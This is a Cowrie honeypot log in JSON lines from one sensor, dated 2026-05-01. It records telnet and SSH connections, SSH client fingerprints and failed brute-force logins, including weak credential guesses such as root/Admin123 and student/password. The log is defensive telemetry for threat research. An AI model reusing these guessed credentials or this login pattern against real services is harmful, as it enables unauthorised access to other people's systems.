{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":34260,"dst_ip":"159.203.135.109","dst_port":23,"session":"f71dafa53132","protocol":"telnet","message":"New connection: 159.223.86.167:34260 (159.203.135.109:23) [session: f71dafa53132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:22.420875Z"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:22.660393Z","src_ip":"176.65.139.103","session":"1443c65a3cea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.736167907714844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:23.410351Z","src_ip":"159.223.86.167","session":"be915a4ddf5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.60482931137085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:23.415819Z","src_ip":"213.136.75.179","session":"ee5c58a10ee8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.440425395965576,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:23.474888Z","src_ip":"213.136.75.179","session":"5dc38f3b8546","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":43684,"dst_ip":"10.17.0.5","dst_port":23,"session":"68a4d52504a2","protocol":"telnet","message":"New connection: 213.136.75.179:43684 (10.17.0.5:23) [session: 68a4d52504a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:23.657444Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:23.766104Z","src_ip":"176.65.139.103","session":"1443c65a3cea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":41192,"dst_ip":"159.203.135.109","dst_port":23,"session":"406f71bd0e53","protocol":"telnet","message":"New connection: 159.223.86.167:41192 (159.203.135.109:23) [session: 406f71bd0e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:24.033971Z"}
{"eventid":"cowrie.session.closed","duration":30.578246116638184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:24.139005Z","src_ip":"159.223.86.167","session":"9d7a28d812de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.675382137298584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:24.166324Z","src_ip":"159.223.86.167","session":"c22f57651c9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.998464822769165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:24.313556Z","src_ip":"155.117.234.131","session":"d4d1fccdc08e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.327290773391724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:24.319721Z","src_ip":"159.223.86.167","session":"5e6a8a2cb0c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.601630210876465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:24.617302Z","src_ip":"159.223.86.167","session":"35f1006e5be8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.929380893707275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:25.156016Z","src_ip":"159.223.86.167","session":"ba45722973a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.589374542236328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:25.266222Z","src_ip":"159.223.86.167","session":"4e24f9cda745","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.334861993789673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:25.571636Z","src_ip":"159.223.86.167","session":"7ef66cff1d27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96325445175171,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:25.619592Z","src_ip":"159.223.86.167","session":"029295649cb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.09368681907654,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:26.251666Z","src_ip":"213.136.75.179","session":"d54c4d19aee6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00129246711731,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:28.819866Z","src_ip":"176.251.64.35","session":"a31d66b1be2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47962,"dst_ip":"10.17.0.5","dst_port":23,"session":"2441a8dab7f2","protocol":"telnet","message":"New connection: 213.136.75.179:47962 (10.17.0.5:23) [session: 2441a8dab7f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:29.412953Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33806,"dst_ip":"10.17.0.5","dst_port":22,"session":"5404f6e6ce54","protocol":"ssh","message":"New connection: 176.65.139.103:33806 (10.17.0.5:22) [session: 5404f6e6ce54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:30.141541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:30.148095Z","src_ip":"176.65.139.103","session":"5404f6e6ce54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:30.230810Z","src_ip":"176.65.139.103","session":"5404f6e6ce54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.88676166534424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:30.455836Z","src_ip":"159.223.86.167","session":"a317367c3ee7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:30.521745Z","src_ip":"176.65.139.103","session":"5404f6e6ce54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.25509214401245,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:31.027733Z","src_ip":"23.254.167.244","session":"924b1aa1e9e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.089410305023193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:31.205486Z","src_ip":"159.223.86.167","session":"48023ef4b5a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99937891960144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:31.366090Z","src_ip":"159.223.86.167","session":"3c3deb9489e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:31.616479Z","src_ip":"176.65.139.103","session":"5404f6e6ce54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":45130,"dst_ip":"159.203.135.109","dst_port":23,"session":"b11f3e570821","protocol":"telnet","message":"New connection: 159.223.86.167:45130 (159.203.135.109:23) [session: b11f3e570821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:31.751696Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":45308,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c53f7ddc16b","protocol":"telnet","message":"New connection: 159.223.86.167:45308 (159.203.135.109:23) [session: 1c53f7ddc16b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:31.782061Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47974,"dst_ip":"10.17.0.5","dst_port":23,"session":"dca4fa598b6c","protocol":"telnet","message":"New connection: 213.136.75.179:47974 (10.17.0.5:23) [session: dca4fa598b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:32.059633Z"}
{"eventid":"cowrie.session.closed","duration":33.692315101623535,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:33.326808Z","src_ip":"213.136.75.179","session":"6f0a67b46334","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47980,"dst_ip":"10.17.0.5","dst_port":23,"session":"cec8f747c20c","protocol":"telnet","message":"New connection: 213.136.75.179:47980 (10.17.0.5:23) [session: cec8f747c20c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:33.363176Z"}
{"eventid":"cowrie.session.closed","duration":30.965768098831177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:33.674782Z","src_ip":"159.223.86.167","session":"176b87342445","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47988,"dst_ip":"10.17.0.5","dst_port":23,"session":"108856a0a0cf","protocol":"telnet","message":"New connection: 213.136.75.179:47988 (10.17.0.5:23) [session: 108856a0a0cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:34.163233Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47998,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a185bb73d57","protocol":"telnet","message":"New connection: 213.136.75.179:47998 (10.17.0.5:23) [session: 5a185bb73d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:36.408284Z"}
{"eventid":"cowrie.session.closed","duration":31.001635313034058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:36.425217Z","src_ip":"159.223.86.167","session":"2440c39e39d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.283527135849,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:36.828134Z","src_ip":"213.136.75.179","session":"ae458e10829a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38768,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a1ca8173164","protocol":"ssh","message":"New connection: 176.65.139.103:38768 (10.17.0.5:22) [session: 3a1ca8173164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:37.443790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:37.466900Z","src_ip":"176.65.139.103","session":"3a1ca8173164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:37.530382Z","src_ip":"176.65.139.103","session":"3a1ca8173164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.46690344810486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:37.909900Z","src_ip":"159.223.86.167","session":"b81e7a89dcc2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:38.250978Z","src_ip":"176.65.139.103","session":"3a1ca8173164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:39.352656Z","src_ip":"176.65.139.103","session":"3a1ca8173164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.841833114624023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:40.636845Z","src_ip":"159.223.86.167","session":"bcfeca3ac163","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.036152362823486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:41.176660Z","src_ip":"159.223.86.167","session":"bb505be99161","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67578625679016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:41.317477Z","src_ip":"159.223.86.167","session":"eb6e8c362740","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.66517210006714,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:41.418669Z","src_ip":"213.136.75.179","session":"cec30b242296","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.48750019073486,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:42.078947Z","src_ip":"213.136.75.179","session":"0a72cf6f0774","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.887738943099976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:42.183332Z","src_ip":"159.223.86.167","session":"e753b445b641","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.093727588653564,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:42.313416Z","src_ip":"213.136.75.179","session":"eb6533e5810e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":56188,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a770c6b1102","protocol":"telnet","message":"New connection: 213.136.75.179:56188 (10.17.0.5:23) [session: 3a770c6b1102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:42.703776Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":56196,"dst_ip":"10.17.0.5","dst_port":23,"session":"c430b38a168f","protocol":"telnet","message":"New connection: 213.136.75.179:56196 (10.17.0.5:23) [session: c430b38a168f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:42.784027Z"}
{"eventid":"cowrie.session.closed","duration":32.12977933883667,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:43.015426Z","src_ip":"159.223.86.167","session":"90982b340297","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.749730348587036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:43.144107Z","src_ip":"159.223.86.167","session":"2ff0556f5b60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.016446828842163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:43.316074Z","src_ip":"159.223.86.167","session":"be49e59e898e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.86376643180847,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:43.601640Z","src_ip":"159.223.86.167","session":"184ff930aaf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":39786,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddeea5420357","protocol":"telnet","message":"New connection: 159.223.86.167:39786 (159.203.135.109:23) [session: ddeea5420357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:44.705003Z"}
{"eventid":"cowrie.session.closed","duration":30.79645609855652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:45.142490Z","src_ip":"86.107.77.203","session":"e82b08acadcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11555814743042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:45.351160Z","src_ip":"159.223.86.167","session":"c4e6581a428c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60802,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa348360ed60","protocol":"ssh","message":"New connection: 176.65.139.103:60802 (10.17.0.5:22) [session: aa348360ed60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:45.916258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:45.921738Z","src_ip":"176.65.139.103","session":"aa348360ed60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:46.003313Z","src_ip":"176.65.139.103","session":"aa348360ed60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zarghami","password":"123456","message":"login attempt [zarghami/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:46.275779Z","src_ip":"176.65.139.103","session":"aa348360ed60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:47.450008Z","src_ip":"176.65.139.103","session":"aa348360ed60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":54280,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0543b1b8096","protocol":"telnet","message":"New connection: 159.223.86.167:54280 (159.203.135.109:23) [session: a0543b1b8096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:48.205116Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39196,"dst_ip":"10.17.0.5","dst_port":23,"session":"e79943b4e276","protocol":"telnet","message":"New connection: 213.136.75.179:39196 (10.17.0.5:23) [session: e79943b4e276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:48.335819Z"}
{"eventid":"cowrie.session.closed","duration":30.59498906135559,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:49.225707Z","src_ip":"159.223.86.167","session":"533831c451ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39208,"dst_ip":"10.17.0.5","dst_port":23,"session":"7aad3797455c","protocol":"telnet","message":"New connection: 213.136.75.179:39208 (10.17.0.5:23) [session: 7aad3797455c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:49.307442Z"}
{"eventid":"cowrie.session.closed","duration":31.28021264076233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:49.320107Z","src_ip":"159.223.86.167","session":"a582fe6793ed","protocol":"telnet"}
